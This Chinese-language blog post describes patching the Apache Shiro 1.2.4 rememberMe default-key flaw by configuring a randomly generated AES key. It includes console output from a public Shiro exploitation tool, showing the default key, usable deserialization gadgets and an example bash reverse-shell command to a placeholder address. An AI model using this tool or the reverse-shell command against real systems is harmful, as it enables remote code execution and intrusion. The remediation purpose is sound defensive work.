最近阿里云发了漏洞短信,需要在以后的老项目中修复漏洞,不同项目修复方式有所不同,特写此篇博客记录。
先说下,我们老项目用的shiro版本号是1.2.4,对应spring版本为4.x

漏洞

漏洞详细报告

shiro的rememberMe 配置随机密钥_java


OK,我们了解到报告的具体内容了,那接下来,我们分析下怎么修复

漏洞检测工具

下载地址和使用说明: https://github.com/wyzxxz/shiro_rce

下载地址:https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip

下载下来是这样的:

shiro的rememberMe 配置随机密钥_后端_02


OK,我们检测下漏洞:

weidong:shiro_tool weidong$ java -jar shiro_tool.jar http://xx.xxx.xxx:18080
[-] target: http://xx.xxx.xxx:18080
[-] target is use shiro
[-] start guess shiro key...
[-] use shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check CommonsBeanutils1
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[-] check JSON1
[-] check Spring1
[-] check Spring2
[-] check Jdk7u21
[-] check JRMPClient
[-] check ROME
[-] check Clojure
[*] find: CommonsCollections10 can be use
[*] find: JRMPClient can be use
0: CommonsCollections10
1: JRMPClient
[-] please enter the number(0-1)
> quit
[-] please enter the number(0-1)
> 0
[-] use gadget: CommonsCollections10
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 , command example: curl dnslog.xxx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl= 
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> 1
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] quit

这样,我们看到了,检测到了使用默认的shiro密钥

shiro的rememberMe 配置随机密钥_后端_03

怎么解决

每个项目的情况都可能不一样,所以有不同的解决办法。

现象:

说说我的这个老项目吧。

使用的是springmvc,shiro1.2.4,spring 4.2.5

去排除了下,发现shiro的配置文件中没有配置默认的密钥,就是类似这种,如下:

shiro的rememberMe 配置随机密钥_jar_04


所以,我猜测,shiro默认的安全管理器使用了默认的shiro密钥,即使项目中开发者不配置,那么shiro也会加载。

既然开发人员没有配置,那么我们就配置下,去看了下,大多数是这么搞的。

创建一个密钥生成的类

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;

public class GenerateCipherKey {

    /**
     * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
     * @return
     */
    public static byte[] generateNewKey() {
        KeyGenerator kg;
        try {
            kg = KeyGenerator.getInstance("AES");
        } catch (NoSuchAlgorithmException var5) {
            String msg = "Unable to acquire AES algorithm.  This is required to function.";
            throw new IllegalStateException(msg, var5);
        }

        kg.init(128);
        SecretKey key = kg.generateKey();
        byte[] encoded = key.getEncoded();
        return encoded;
    }

    public static void main(String[] args) {
        System.out.print(generateNewKey());
    }
}

配置中使用

shiro的rememberMe 配置随机密钥_spring_05

shiro的rememberMe 配置随机密钥_java_06


:rememberMeManager中关联的cookie,有的使用session关联的,可能就不需要在rememberMeManager中增加cookie关联。此种情况,变成这样:

shiro的rememberMe 配置随机密钥_java_07

需要注意

在阿里云给的建议中,需要升级shiro版本1.7,但是此版本需要升级spring,这块可能会出现修改其他一些功能和代码问题。
所以,在此,我们不升级shiro,还是用老版本,只是增加密钥的管理方式,不再用默认密钥即可

修改后检测

shiro的rememberMe 配置随机密钥_后端_08

至此,问题解决,希望对看见的开发者有帮助。